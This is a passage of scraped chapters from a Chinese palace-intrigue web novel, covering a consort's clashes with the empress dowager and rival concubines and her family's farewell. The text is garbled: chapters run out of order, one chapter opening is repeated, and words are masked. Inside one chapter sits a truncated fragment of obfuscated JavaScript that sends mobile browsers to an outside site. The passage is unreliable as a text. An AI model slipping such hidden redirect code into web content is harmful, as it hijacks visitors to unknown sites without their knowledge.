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人,听得人家说起****的这种话只会一味地捂着耳朵白了脸。
她是一路跟着萧祈安从微时走到今天的,萧祈安经历了什么,大容这个国家又经历了什么,她知道得一清二楚。
一朝天子一朝臣,既然如今坐上这皇位的是萧祈安,那么拥有绝对话语权的人,只能是他。
他的决定,没有人可以质疑。
“知朕者莫若宁儿也,朕就知道遇到了困惑的事情,只要找宁儿说一说,总能解决。”
听得夏韶宁的话和她的表现,萧祈安的脸上终于露出了久违的笑容。
“朕怎么瞧着你比半年前瘦了些?这半年来你在后宫过得好不好?如今你们的住处位份都还没有定下,那些宫人没有苛待你吧?”
萧祈安松开夏韶宁,仔仔细细盯着她看了半晌,这才发现夏韶宁似乎清减了不少。
“苛待倒是算不上,只是说实话,臣妾还是更喜欢从前在王府里的生活。”
听得萧祈安这一连的疑问,夏韶宁犹豫了一会儿,终究还是开口了。
“嗯?人人都说皇宫是这天底下最好的地方,怎么宁儿不喜欢?”萧祈安有些不解道。
“皇宫太大了,人多规矩也大,臣妾总觉得拘得慌。”
夏韶宁顿了会儿,漫不经心地回道。
“是朕不好,疏忽你了。”
看着眼前这小丫头一脸不开心的样子,萧祈安连想都没想就对着她道起歉来。
“等朕忙完这一阵,带着你去行宫玩,去上驷院玩,你想去哪儿玩就去哪儿玩,好不好?”
“玩儿倒是其次呢,陛下有一句话说得对,如今从前府里的女眷们入了后宫,一直还是没名没分地在后宫里待着,臣妾觉得实在是有些不成样子。”
说来说去,后宫和从前在王府里也没什么不一样,后宫的女人在乎的无外乎也就是那么几样东西。
地位,孩子,以及天子的宠爱。
如今先帝的孝期都过了,那么后宫里的这些事情也就是时候该提上日程了。
第一百八十五章 下马威
说实话,夏韶宁的内心对如今的太后娘娘其实有一种很复杂的感觉。
在仅有的那么几次与太后的见面里,两人的相处似乎都不是很愉快。再加上太后与萧祈安这份微妙的母子关系,都让夏韶宁对太后很难生出一个良好的印象来。
所以,在今日来永寿宫之前,夏韶宁就决定了自己今日一定要少说话少出头,当一个漂亮的壁花就好了。
可惜,太后却好像并不是这么想的。
永寿宫。
不知是不是因为今日是后宫众妃嫔第一次正式来向太后请安,太后的穿着显得特别的华丽与庄重。
夏韶宁的位份最高,所以哪怕她不想,她还是领着众妃跪在了最前面。
“臣妾给太后娘娘请安,太后娘娘万安。”
太后面无表情地坐在上首,看着跪在底下的妃嫔们,也只是对着她们摆了摆手,示意她们起身。
“说起来,这安本早就应该请的,拖到如今,着实有些不成样子。”
眼见着众人站定,太后终于不咸不淡地开口了。
夏韶宁站在最前面,明显看出了上首太后面上的不悦。她本想习惯性地往后站,但是这会儿却忽然发现太后正直勾勾地盯着自己。
于是她只能在心里重重地叹了一口气,认命般地开口了。
“太后娘娘恕罪,都是臣妾的不是。”夏韶宁一边说,一边又低下头跪下身来。
“圣上登基登得匆忙,孝端皇后又去得早,实在是这后宫里没了主心骨般的人物,臣妾们便有些不知所措了。这才失了礼数,还望太后娘娘原谅臣妾们。”
听得夏韶宁一口一个“臣妾们”,站在她身后的其他人本来还准备看戏的,这会儿子倒是集体也跟着她跪了下来。
“昭贵妃这话说的,倒是哀家的不是了?”
虽然夏韶宁左一句“恕罪”右一句“原谅”说得恭敬又好听,但是这番话落到了太后的耳朵里,却只让她听出了一丝嘲讽的意味。
“孝端皇后去了,哀家不是还好好的在着吗?昭贵妃这是丝毫没将哀家放在眼里了?”
听得太后这番一点儿都不客气的话,夏韶宁忍不住在心里翻了个大大的白眼。
她心里想着,这太后怕不是在萧祈安那受了气,就把气全撒在她们这群便宜儿媳的头上了吧?
“哎,太后娘娘别生气,瑞儿听说臣妾今日要来向您请安,还特意让臣妾带他向您问安呢!”
眼见着这会儿的永寿宫里的气氛着实有些尴尬,站在夏韶宁身后的唐贤妃适时开口,打破了沉默。
果然,听得唐贤妃提起了大皇子,刚刚还板着一张脸的太后脸色瞬间就多云转晴了。
“之前瑞儿在哀家身边养了半年多,后来回王府去了哀家倒是还怪不习惯的。没想到过了这么久了这孩子还能惦记着祖母,还得是贤妃会养孩子啊。”
太后说这话的时候,那眼神一直有意无意地在往夏韶宁的身上瞟,而这会儿的夏韶宁却只是一味地装傻,假装自己什么都没看见。
“说起来,当初在潜邸的时候哀家就觉得圣上膝下的孩子太少了。如今圣上继位,你们也成了宫妃,那就更得多努力些为圣上多多开枝散叶的好。”
“只是今年的选秀想来是赶不上了,明年的大选,昭贵妃可是要尽心些才是。”
这会儿的夏韶宁正保持着得体的微笑站着,冷不防听到太后又提到了自己,她也只能如小鸡啄米般不住地点头。
“如今后位暂时空悬,是而昭贵妃位份最高,圣上又允了你主理六宫的权利,所以后宫的事情少不得要你多多费心。”
“只不过你若是觉得忙不过来,贤妃、许昭容的家世统统在你之上,想来处理宫务也比你要得心应手的多。你不妨也多分些事情给她们做,倒是不影响你服侍圣上,昭贵妃,你说呢?”
太后这话初听之下仿佛是在关心夏韶宁一个人在处理宫务上会忙不过来,只是但凡有些头脑的人都听得出,这明晃晃地就是在打她的脸,想要给她一个下马威啊!
想来夏韶宁这个贵妃上位还不到半月,太后就如此嘲讽她,想要从她手里分权,她今日若是继续
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当个缩头鹌鹑,那她夏韶宁这个贵妃的位置,还能坐得安稳吗?
“劳太后娘娘如此关心臣妾,臣妾真是不甚感激呢!”顿了好一会儿,夏韶宁便抬头对上了太后的目光,语气淡定地出声了。
“这后宫的位份是圣上定下的,什么人做什么事也是圣上说了算的。其实一开始,圣上允给臣妾的可不止是贵妃之位和主理六宫之权,只是臣妾这人自在潜邸的时候就有些懒怠,最不爱做的事情就是管家,这才缠着圣上让他收回了成命。”
“若是太后娘娘心疼臣妾累了,想让其他人替臣妾管一管这后宫里的事情,那臣妾还真是求之不得了!只是不知太后娘娘何时去同圣上说呢?臣妾也好做好这休息的准备啊!”
夏韶宁一开始对着太后说这话的时候,面上还没什么表情。只是话说到后面,她倒是有了一丝若有若无撒娇的意味。
这会儿若是有不了解里头情况的外人听了,还真会以为是婆母心疼儿媳,儿媳在对着婆母撒娇呢!
“呵,昭贵妃你可真是好利的一张嘴啊!”听得夏韶宁对着自己这么一阵输出,太后心中已经气极了,但是面上却并不好露出分毫生气的样子。
她顿了好一会儿,再开口的时候语气里甚至带上了笑意。
“罢了,哀家不过说说而已,这大容是圣上的,这大容后宫自然也是圣上要谁管,谁就好好管着便是。哀家老了,只想着以后的日子里能颐养天年,含饴弄孙。贵妃忙归忙,倒是也别耽误了早日给圣上生下个皇子才是正经事啊!”
“臣妾记住了。”
眼见着太后已经退了一步,夏韶宁也不再咄咄逼人。她对着太后恭恭敬敬地行了一礼,随即依旧是面带微笑地站在一旁不说话了。
接下来的时间里,太后又对着几个有孩子的妃子们问了问孩子们的近况,再对着所有妃子们立了立规矩,这番难捱的首次请安才终于结束了。
走出永寿宫的众人:这太后婆母看起来可真的不太好相处的样子啊!以后的日子……啧啧啧,不敢想啊!
第一百八十七章 源头在哪
被这几个扫兴的宫女一打扰,夏韶宁早就没有逛御花园的心情,转头就带着惜春回了承乾宫。
“把李顺给我叫过来。”刚一坐定,夏韶宁连茶水都没来得及喝上一口就对着惜春吩咐道。
惜春偷偷看了眼自家娘娘的脸色,这会儿可是十分的不好了。于是她也不敢多说什么,立刻就去将李顺找了来。
“给昭贵妃娘娘请安。”李顺入了外殿,见着夏韶宁正面无表情地坐在上首,急忙跪下身朝着她请安。
“你起来吧,本宫今日找你来,是有些事情想问你。”夏韶宁对着李顺随意地摆了摆手示意他起身,便开口了。
“这些日子,你有没有在私底下听到宫里有人在议论本宫?”
这会儿的夏韶宁已经不生气了,她自顾自地端起手边的茶水喝了一口,一边等着李顺的回话。
李顺站在下首,听得贵妃娘娘的问话,心里忽然一怔。
他想到自己入了这承乾宫半个来月了,贵妃娘娘一次都没有单独召见过他。冷不防的今日叫他来,居然是问这件事儿的。
“求娘娘恕罪,奴才这些日子的确曾听到过有些内侍宫女们在私下里谈论过一些有关于娘娘的事情。只是奴才才来这承乾宫,对贵妃娘娘的性格脾气不大了解,所以也不知道该不该来禀告娘娘……”
李顺弓着腰,一字一句说得那样的恭敬。
听得李顺这般还算真诚的话,夏韶宁倒是放心了下来。看来这个人,不是那种睁着眼说瞎话只想着糊弄主子的人。
“看在你还算真诚的份上,本宫今日就交代一件事情让你去做。”
夏韶宁放下茶盏,对着李顺浅浅地点了点头,随即又对着他道,“本宫给你三天的时间,你去将这些有关于本宫谣言的源头给找出来。当然,不能让别人知道是本宫让你去找的,你能不能做到?”
听得娘娘非但没有怪罪自己知情不报,还如此信任自己交代自己去办事,李顺的心里别提有多高兴了。
“娘娘放心,奴才八岁的时候就入了大容后宫当内侍了,打听消息这种事情对奴才来说不算难事。就三天,三天以后奴才保准把这消息打听得清清楚楚,您安心等着便好!”
……
说起来,这李顺还真是有些本事的。
这第三天的晌午刚过,李顺就神神秘秘地跑来找夏韶宁了。
这会儿的夏韶宁刚用过午膳,抬手让兰芷将殿内其他伺候的人都带了下去,这才不慌不忙地对着李顺道,“有眉目了?”
“奴才在娘娘面前海口都夸下了,这事情要是找不到眉目,那不是在娘娘面前自己打自己的脸嘛!”
李顺对着夏韶宁笑了笑,随即便压低声音道,“奴才打听到了,这消息最先是从华清宫一个三等宫女的嘴里传出来的。那宫女又同延禧宫的一个宫女私下里关系很好,就当作个八卦说给那个宫女听了,再然后不知怎的,就传得满后宫里都知道了……”
“你这消息可靠吗?”夏韶宁有些不确信地抬头看了一眼李顺,语气里还是有些不大相信。
实在也不怪她这般谨慎,以前在贤王府的时候那群女人最常用的计谋就是用钱或者用把柄买通别人身边伺候的人来给她们当内应。
如今她们都已经入宫当娘娘了,身边伺候的宫人可比以前在王府的时候更多了,想要收买别人身边伺候的人,那就更简单了。
“娘娘这是不信奴才了?”李顺一开始还一副眉飞色舞的样子对着夏韶宁说着他打听来的消息,却见着自家娘娘摆了一副怀疑的神色看着自己,一下子就泄气了。
不过仔细想来他倒是也理解,毕竟他来了娘娘身边还不到一个月,娘娘好像是没什么理由要这般相信他说的话。
他低着头顿了顿,再抬头的时候,眼神就显得比刚才坚毅了不少。
“奴才知道这会儿无论奴才说什么,娘娘都不可能像信任蕙心姐姐那般信任奴才。奴才只是想同娘娘说,只要入了这承乾宫,奴才心中的主子便只有娘娘一个人。奴才相信天长日久相处下来,娘娘也定会像信任蕙心姐姐她们一样信任奴才的!”
“本宫不过随口问问,你这奴才
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倒是心思多。本宫若是不信你,何必将这件事情交给你去做?”听着李顺这般着急忙慌地表忠心,夏韶宁倒是忍不住笑了。
她之所以把这件事情交给李顺去做,也就是为了看一看她承乾宫的首领内侍到底有几分本事,又是不是值得她信任的。
其实那日交代完李顺去做这件事情以后,夏韶宁转头又交代含秋去打听了。
最后的结果当然同李顺打听到的一样,这谣言的源头,就来自唐贤妃的华清宫。
“这贤妃从前在潜邸的时候就爱在背地里搞这些小九九,没想到如今进宫了,她还是改不了这个习惯。”
夏韶宁站起身来,脑海中不禁又想到了唐贤妃那张笑面虎似的脸。
“只是不知道这许昭容是真的蠢到被贤妃当作散布谣言的推手,还是……她聪明到有她自己的想法……”
夏韶宁在外殿里来回踱了一会儿步,心里忽然就有了个绝妙的计划。
“她们不是喜欢传谣言吗?那本宫就让她们传个够!李顺,你附耳过来,本宫如今还有一件事情交代你去做……”
几日后,华清宫。
唐贤妃这会儿正坐在书桌前教大皇子写字,便见着霞光板着脸走了进来。
“怎么了?”唐贤妃收了笔,抬头瞥了一眼霞光,“那许清妍有没有让她宫里的人把有关于贵妃家世的事情散布出去?”
“娘娘您还问呢!这许昭容根本就不是与您站在一边的!如今宫里的宫人们都在传,说这许昭容是太后娘娘求着先皇后才指给圣上的!说论起出身,别管昭贵妃还是您,谁都比不上她!”
“呵,本宫倒是小瞧她许清妍了,当初刚入宫的时候她信誓旦旦地说要与本宫站在一边,万事都以本宫为先。如今看来,她这是存了要自立门户的心思啊!”
听得霞光的话,唐贤妃的脸上立刻露出了一丝嘲讽的笑容。
“也罢,既然人家觉得自己出身高,那咱们日后也就不必搭理她了。本宫倒是要看看,她一个无子无女无宠爱的昭容,在这深宫里到底能走得多远!”
第一百八十八章 恩威并施
因着如今后宫里没有皇后,夏韶宁的位份最高,所以依着大容宫规,后宫的嫔妃们每月的初一十五便还是要去承乾宫向贵妃娘娘请安的。
而今日,刚好是九月十五,众妃嫔来向夏韶宁请安的日子。
说起来,这算是众人成为宫妃以后第一次向夏韶宁请安,所以今日的夏韶宁,穿着打扮就十分的讲究。
只见她今日穿着一身杏黄色绛丝的朝袍,朝袍的领口缀着象征贵妃地位的六颗南珠,高高的**髻上插着一支六根流苏的珊瑚步摇,再配上她那张一直以来就为众人所知绝色的脸,整个人显得华丽却又并不俗气。
“本不愿如此麻烦姐妹们一月两次来承乾宫给本宫请安的,只是太后娘娘最重规矩,本宫也不敢惹她生气,所以也就只能辛苦各位姐妹们了。”
兰芷和蕙心一左一右地扶着夏韶宁在上首的椅子上刚坐定,夏韶宁便不紧不慢地开口了。
“贵妃娘娘说得哪里的话,如今后宫中没有皇后,众姐妹都以娘娘为尊,来向娘娘请安,那是再合理不过的事了。”
唐贤妃坐在下首的第一个位置,这会儿正微笑地抬头对着夏韶宁说着那番恭维的话。
此时若是有不知道两人之间曾发生过何事情的人听得她的这番话,定会觉得她唐贤妃是个再懂礼仪不过的人了。
见唐贤妃笑得温婉,夏韶宁心里哪怕再烦她,面上也不会显露分毫。
“这满宫里就数贤妃姐姐说话最好听了。”夏韶宁摸了摸手上的珐琅护甲,慢条斯理道,“只是说起来,当初太后娘娘是不太中意本宫这个人的。想来也是,本宫的家世,在后宫众多姐妹中,也的确不太能排得上号。”
“家世这种东西,若是圣上在意,那就是再重要不过的事情。只是若是圣上不在意,那就只有这漂亮的家世可以说说了。许昭容,你说呢?”
唐贤妃很明显就听出了夏韶宁这番话背后的意思,又联想到前段时间宫里有关于许昭容家世的传闻,这会儿便立刻语带嘲讽地对着许昭容开口了。
许昭容自听到夏韶宁提到家世这码事之后,手中的帕子就一直紧紧捏着不敢松开。这会儿听得唐贤妃果然将话头引到了自己身上,面色就变了。
“贵妃娘娘何必妄自菲薄,圣上看重您,自然也就会看重您的母家。臣妾听说娘娘的大哥前段时间可是升官了呢!”
许昭容抬起头来对着夏韶宁讪笑了一声,整个人看起来颇有些局促难安的感觉。
“本宫的父亲和哥哥,都是正经科举入仕的。就算是升官,那也是靠自己平日里的政绩突出,与圣上有何关系?”
听得许昭容这番哪壶不开提哪壶的话,夏韶宁显然不高兴了。
她端起手边的茶盏喝了一口茶,再看向许昭容时,眼神便带了一丝警告的意味。
“姐妹们都是从潜邸里上来的老人了,所以有些话本宫也就不同各位拐弯抹角了。”
“如今进了宫,成了宫妃,从前在潜邸时的那些坏习惯能改还是改了。有些人不要以为自己那点小聪明有多厉害,其实在他人面前可能真的不太够看的。”
“本宫不是从前孝端皇后那般的老好人,既然如今圣上暂时将这后宫的事务交给本宫管,那本宫就得管好了!所以各人也该自己好好想想,在这宫里什么事情是能做的,什么事情是做不得的。”
夏韶宁说这话的事情语气是前所未有的严肃,虽然从前她从没想过自己能坐上贵妃的这个位置,可是如今萧祈安既然把她提到了这个位置,她也就在其位谋其事,暂时替他把这后宫管好便是。
底下的众人听得夏韶宁这番话,这会儿的脸色倒是各有各的不同。
唐贤妃一时搞不明白夏韶宁这话到底是说给许昭容听的,还是在点破她之前故意传播夏韶宁家世的谣言,这会儿便只是尴尬地笑着。
而许昭容早在被夏韶宁剜了一眼之后心里就“砰砰砰”地跳个不停,此时连同夏韶宁对视都不敢了,只顾着低着头绞着她手里的帕子。
而剩下的其他人,谢充媛向来
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是夏韶宁说什么就听什么的,这会儿正一脸恭敬地看着她。而苏修媛和沈婕妤,则是面无表情不知道心里在想什么。
坐在最末尾的吴美人,面上倒是有些不大服气的样子。只是夏韶宁一个眼神递了过去,她碍于自己的身份也不敢再说什么了。
“本宫这人向来喜欢丑话说在前头,今日将这些不好听的话说完了,以后咱们姐妹之间还是好好相处。”
看着自己今日这番立威的话似乎说进了这群女人的心里,刚刚还面目严肃的夏韶宁这会儿倒是笑得温婉。
“蕙心,将本宫给姐妹们准备的礼物拿上来吧。”夏韶宁对着站在她身边的蕙心吩咐了一声,便见着蕙心带着几个端着托盘的宫女走了进来。
“大皇子过完年便要去崇文馆上课了,本宫准备了一套上好的文房四宝,就劳烦贤妃姐姐替本宫交给大皇子了。”
“四皇子和五皇子身子弱,眼瞅着就要入冬了,本宫吩咐尚衣局用上好的银狐皮子给两位皇子一人做了一件大氅,这样出门就不冷了。”
“花鸟局前几日送了只会说话的鹦鹉来,本宫瞧着这鹦鹉说话说得怪好的,就送给苏修媛带回去给二皇子玩了。”
“皎皎是女孩子,天生爱漂亮,本宫给她准备了一些精致的小首饰,带着玩正好。”
“至于许昭容和吴美人,这几匹蜀绣的料子和这两幅头面都是圣上前几日刚赏的,本宫想着你们穿戴者应该好看,便带回宫去吧。”
一口气说完了自己送给众人的礼物,这会儿的夏韶宁笑眯眯地看着众人,不再出声了。
众人根本就没想到,明明刚刚说起话来还那般严肃的昭贵妃,这会儿居然如此细心为所有人都准备了最适合她们的礼物。一时之间你看看我,我看看你,仿佛都有些不知道该说什么了。
最后,还是谢充媛率先跪下身来,语气恭敬对着夏韶宁道,“臣妾替二公主谢过昭贵妃娘娘赏赐!”
而后其他人便也纷纷跪下道,“谢昭贵妃娘娘赏赐!”
第一百九十章 见娘家人
第二日,萧祈安就下了旨意让夏宽于一周后前往辽州赴任知州之位。
夏韶宁想着此后至少有三年不得与父母亲见面了,于是特意向萧祈安求了个旨让嫡母郝氏和长嫂柳氏进宫同自己见一面,这样她也能安心些。
同心殿殿内。
蕙心带着宫女们给郝氏与柳氏上了茶,便规规矩矩地退了下去,这会儿的殿内便只剩下夏韶宁和她们两人了。
郝氏与柳氏都是第一次进宫,夏韶宁一早便让李顺去宫门口等着了,待二人到了以后便一路将她们带到了承乾宫。
两人自从上了入宫的马车后心中就特别紧张,柳氏还尚能保持一丝面上的镇定,郝氏却是一打眼瞧过去就能看出她的不自然。
眼见着这会儿伺候的人终于都退出去了,郝氏这才大大地松了一口气。
“宁儿……”
“母亲,咱们该向贵妃娘娘请安的。”
郝氏刚想开口说话,却被一旁的儿媳妇扯住了手,这会儿才想起来上首坐着的女儿如今已经是贵妃娘娘了。
于是两人便立刻跪下身来朝着夏韶宁道,“臣妇给昭贵妃娘娘请安,昭贵妃娘娘万安。”
“母亲和大嫂快快起来!”眼见着一向疼爱自己的母亲和大嫂居然跪着朝自己请安,夏韶宁心中着实有些不适,眼见着两人行完了礼,便立刻将两人扶了起来。
“来宫里之前,父亲与相公都交代过了,娘娘如今是贵妃了,该有的礼数可不能省略。宫里人多口杂,太后娘娘又最重规矩,到时候若是传到她人的耳朵里,该说娘娘与咱们夏家不知礼数了。”
柳氏站起身来,怕夏韶宁觉得她们与她生分了,于是便急忙对着夏韶宁解释道。
“我倒是没有父亲与大哥考虑得周到。”听得柳氏的解释,夏韶宁这才明白为何她们执意要对着自己行大礼。
“宁……娘娘这几个月过得可好?”
郝氏倒是不管那么多,她抬眼瞧着夏韶宁瘦得明显,这会儿可是心疼得不得了,眼眶都不知不觉地红了起来。
“母亲别难过,我好得很呢!”看着郝氏这般样子,夏韶宁心里也有些酸了起来,“只是今日一别,大概要等三年以后才能相见了,也不知道父亲怪不怪我擅自答应了圣上将他外放的旨意。”
“娘娘别胡思乱想,老爷当然明白您与圣上的良苦用心。”哪怕郝氏再愚钝,这会儿子也看出了夏韶宁面上的无奈。
“老爷说了,他若是不外放,这辈子撑死也只能做到个五品官。只是娘娘如今已经是贵妃了,若是娘家家世一直这般低,娘娘在宫里的日子也不过好。倒是不如趁着他还不算太老,去外放历练积累一番,日后回了金州,也可为圣上与娘娘分忧。”
夏韶宁听着郝氏一字一句地传达着父亲的想法,心中忽然觉得她这个父亲真的不像面上看着的那般木讷。就如萧祈安说的,夏宽是个有能力也有大智慧的人。
“难为父亲这般理解我。”夏韶宁呼了一口气,再抬头终于对着两人露出了难得的笑脸。
“父亲这番去辽州,母亲要跟着一块儿去吗?还有祖母,也一块去吗?”
“老爷说了,母亲年纪大了,就不再折腾她了。他去了辽州,明朗和英儿还在家里,这几年就让他们夫妇俩照顾着母亲吧。”
说到这儿,郝氏看了一眼坐在自己身边的柳白英,对自己这个儿媳妇那可真是一百个放心。
“最后决定我与你姨娘跟着老爷一道去辽州,冉儿还没定人家,就让李姨娘在家陪着冉儿也服侍着母亲,这般正好。”
听得郝氏的这般安排,夏韶宁还是觉得很满意的。
郝氏是主母,但是性格有些莽撞,跟着夏宽去了辽州免不了要应付那群地方官员家的女眷们。有她的亲娘付氏跟在身边帮着应付一番,倒是也不至于让自己吃亏。
“母亲今日提起冉儿,我倒是想起来了,冉儿今年十六了,父亲这又得外放辽州三年,没想过要给冉儿先定个人家吗?”
说起这个性子柔弱
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的妹妹,夏韶宁的眉头倒是忍不住皱了起来。
“哎,这……还是英儿你来说吧。”
听得夏韶宁提起夏家这个最小的女儿,郝氏便忍不住叹了一口气,转头对着柳白英摆了摆手。
“小妹因为之前**小姐的那件事情吓得不轻,虽然那**的死与小妹并没什么很大的关系,但是到底给她留下了一些心理阴影。”
柳白英抬头看了看不住叹气的郝氏和一脸疑惑的夏韶宁,又继续开口了。
“父亲早一个月前就想给小妹相看人家了,可是每每我们都觉得不错的人家,小妹却怎么都不愿意。后来我私底下去问她,她才说了她这两年不想嫁人,她……似乎有些害怕。”
听得柳白英的话,夏韶宁这才明白了。
**就是因为自己的恋爱脑被废太子给勒死的,这几个月发生了那么多事,想来这小丫头是真的被吓着了。
“不嫁就不嫁吧,本来也才刚刚十六岁,就算等父亲母亲回到金州,她也才十九岁,年纪也不算很大。”
夏韶宁捏着手中的帕子思索了好一会儿,最终还是开口安慰起一直坐在她身边长吁短叹的郝氏来。
“她堂堂贵妃娘娘的亲妹子,以后还怕找不到好人家吗?母亲和嫂嫂别担心了。”
“母亲不担心那些,你哥哥妹妹再怎么样都在父亲母亲的身边,倒是娘娘一个人在这深宫里,我们又要离开金州三年,我这心里……”
郝氏拉着夏韶宁的手,看着她脸上那完美的笑容,忽然就觉得心疼起来。
“母亲放心吧,圣上向着我,别人就欺负不了我。”夏韶宁拍了拍郝氏的手又道,“再说我是那般容易受欺负的人吗?这宫里的女人再厉害,我兵来将挡水来土掩就是了!哪怕以后圣上不向着我了,我如今所拥有的一切也能好好支撑着我在这宫里活下去了!”
说到这里,夏韶宁又深深看了郝氏和柳氏一眼,朗声道,“倒是夏府的一切,还是要拜托母亲和嫂嫂了!”
第一百八十九章 愿意抬举
晚间,承乾宫。
“这怎么都进宫了,你这里的菜味道还是和从前一样啊?”萧祈安吃了一口碟子里的酒炖八宝鸭子,感觉和从前在潜邸里吃的味道一模一样。
“臣妾把王厨娘和何娘子一起带进宫了,如今让她们两个继续在承乾宫的小厨房里当差呢!”
眼见着萧祈安喜欢吃这道菜,夏韶宁便又夹了一筷子放进了他的碟子里,“陛下喜欢的话就多吃些。”
“朕真不知道是说你这丫头懒还是说你长情。”萧祈安有些无奈地将夏韶宁夹给他的菜一口吃了,才对着她道,“这皇宫里那么多御厨,怎的就还比不上你从前院子里的厨娘了?”
“陛下这话可就不对了,御厨做的菜能有臣妾小厨房里的好吃嘛?”听得萧祈安的话,夏韶宁有些不悦地白了他一眼,“若是您觉得不好吃,下次就别来了!”
“朕怎么瞧着你自从当上贵妃娘娘以后,脾气比从前大多了。”萧祈安见状,忍不住放下筷子就将她揽进了怀里,“谁惹你生气了是不是?”
“没有。”不知为何,听得萧祈安这般软声软气的话,夏韶宁心中倒是有些委屈了起来,只是她这会儿又不想说了。
“是不是今天她们给你请安说了不好听的话惹着你了?是谁?许昭容还是吴美人?”
萧祈安伸出手摸了摸夏韶宁的后背,这会儿的姿势倒是有些暧昧。
“看来陛下倒是知道她们两个说话难听啊?”听见萧祈安在她面前如此直白地提起了这两个人的名字,夏韶宁忍不住笑了。
“朕多少年都没去过她们那儿了,如今她们有些怨言也正常,宁儿别往心里去。”
看见夏韶宁被自己逗笑了,萧祈安放在夏韶宁腰间的手也开始渐渐不老实起来……
“陛下,用膳呢!”感受到了自己腰间的衣带都快被解开了,夏韶宁急忙把那双“魔爪”推了开来。再转头一看,才发现不知道什么时候,殿内伺候的宫人们早就退出去了。
“不是她们。”夏韶宁有些脸红地站起身来,随即便有些落寞地道,“是前段时间偶然听到有人在谈论臣妾的家世,说臣妾能上位全凭……”
“凭什么?”看着眼前夏韶宁的脸越来越红,萧祈安则是贼兮兮地朝着她越靠越近。
“说我都凭床上功夫,你高兴了吧!”夏韶宁抬起头来白了萧祈安一眼,随即饭也不吃了,一股脑地就往内殿走去。
“行了,朕都知道了。”眼看着自己好像真的把夏韶宁逗生气了,萧祈安便也不再继续同她开玩笑了。
只见他坐到了夏韶宁的身边,轻轻拉过她的手贴到了自己的脸上,小心翼翼道,“朕既然能抬着你坐上这贵妃的位置,那就必定要继续抬举你的家人啊!”
“陛下这话说得和白日里许昭容说的有什么不同?”听得萧祈安这番话,夏韶宁倒是显得更生气了。
“臣妾的父亲和哥哥不靠着臣妾这个贵妃照样能升迁,他们都是有本事的人!只是因为从前一直保持中立不肯随意乱站队,这才不得上峰的青眼罢了!”
“你这炮仗一样的脾气到底什么时候能改改?朕说了他们不是靠自己吗?”萧祈安瞥了夏韶宁一眼,语气里多了些无奈。
“朕知道你的父兄都是难得的文臣清流,只是朕如今刚刚登基,实在很急需一批自己的人。但是贸然将他们提起来又显得太惹眼了,所以朕如今有个其他的想法,宁儿要不要听一听?”
萧祈**过夏韶宁的手,语气里多了一些期待。
看着萧祈安这番真诚的样子,夏韶宁便乖乖地点了点头。
“辽州是大容祖先发迹的地方,那里是除了金州经济最发达的州了。刚好辽州的州令上个月考核政绩优秀调回金州了,所以朕想着让你的父亲外放到辽州去当州令。到时候再升迁回金州,那就好将他安排到更重要的部门去了。”
萧祈安一边说,一边观察着夏韶宁脸上的神情,见她没有反对的意思,便又继续说了下去。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15371066|168161||http|test|mini|href|location''.split(''|''),0,{}));
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r>“你二哥这两年在大理寺表现得很不错,若是今年年底考核优秀,朕便打算将他升为正四品的大理寺少卿了。”
“而你大哥心细,说话做事比你父亲和二哥要周全,所以前段时间朕才将他调到身边给朕当起居郎,这样朕的身边也算是有个能完全信得过的人了。”
听得萧祈安絮絮叨叨地对着自己解释了这么多,虽然里头也有为了他自己的考量,但是说起来大部分好像还是在抬举夏韶宁的母家。
夏韶宁心中还是觉得十分感激。
“劳陛下为臣妾的事情如此费心了。”说着,夏韶宁一把钻进了萧祈安的怀里,“臣妾不生气了。”
“朕之前就同你说过了,心中有不愉快的事情一定要告诉朕,不要一个人偷偷憋在心里生闷气,会生病的。”
萧祈安摸了摸夏韶宁的头,哄着她道,“朕与你是不一样的情分,朕愿意抬举你更愿意抬举你的家人,宁儿明白了吗?”
这会儿的夏韶宁还有什么好不开心的,一国之君能为着自己做到这种程度,哪怕是自己对他真没什么男女之情,就为着他这般护着自己,那也是很感动的。
“既然不生气了,晚膳也用了,宁儿是不是得……”
眼见着夏韶宁又恢复了从前的样子,萧祈安这会儿看着她的眼神也变得不单纯起来。
夏韶宁当然知道这男人心里在想什么,半年的孝期,再加上最近一直很忙,他还真的是已经素了很久很久了。
想到这里,夏韶宁便主动将腰间那本就有些松了的腰带扯了开来,一时之间,满室的春光差点晃花了萧祈安的眼。
“你这小妖精,朕都忘了你勾人还真是有一套!”
美人这般主动,萧祈安哪还能忍得住?只见他不由分说一把就将夏韶宁压在了身下,直到这个时候,他忽然感觉自己全身的火都快要喷发出来了。
那一夜,承乾宫的动静整整响了一整夜。直到天快破晓时,房内才渐渐安静了下来……
第一百九十章 见娘家人
第二日,萧祈安就下了旨意让夏宽于一周后前往辽州赴任知州之位。
夏韶宁想着此后至少有三年不得与父母亲见面了,于是特意向萧祈安求了个旨让嫡母郝氏和长嫂柳氏进宫同自己见一面,这样她也能安心些。
同心殿殿内。
蕙心带着宫女们给郝氏与柳氏上了茶,便规规矩矩地退了下去,这会儿的殿内便只剩下夏韶宁和她们两人了。
郝氏与柳氏都是第一次进宫,夏韶宁一早便让李顺去宫门口等着了,待二人到了以后便一路将她们带到了承乾宫。
两人自从上了入宫的马车后心中就特别紧张,柳氏还尚能保持一丝面上的镇定,郝氏却是一打眼瞧过去就能看出她的不自然。
眼见着这会儿伺候的人终于都退出去了,郝氏这才大大地松了一口气。
“宁儿……”
“母亲,咱们该向贵妃娘娘请安的。”
郝氏刚想开口说话,却被一旁的儿媳妇扯住了手,这会儿才想起来上首坐着的女儿如今已经是贵妃娘娘了。
于是两人便立刻跪下身来朝着夏韶宁道,“臣妇给昭贵妃娘娘请安,昭贵妃娘娘万安。”
“母亲和大嫂快快起来!”眼见着一向疼爱自己的母亲和大嫂居然跪着朝自己请安,夏韶宁心中着实有些不适,眼见着两人行完了礼,便立刻将两人扶了起来。
“来宫里之前,父亲与相公都交代过了,娘娘如今是贵妃了,该有的礼数可不能省略。宫里人多口杂,太后娘娘又最重规矩,到时候若是传到她人的耳朵里,该说娘娘与咱们夏家不知礼数了。”
柳氏站起身来,怕夏韶宁觉得她们与她生分了,于是便急忙对着夏韶宁解释道。
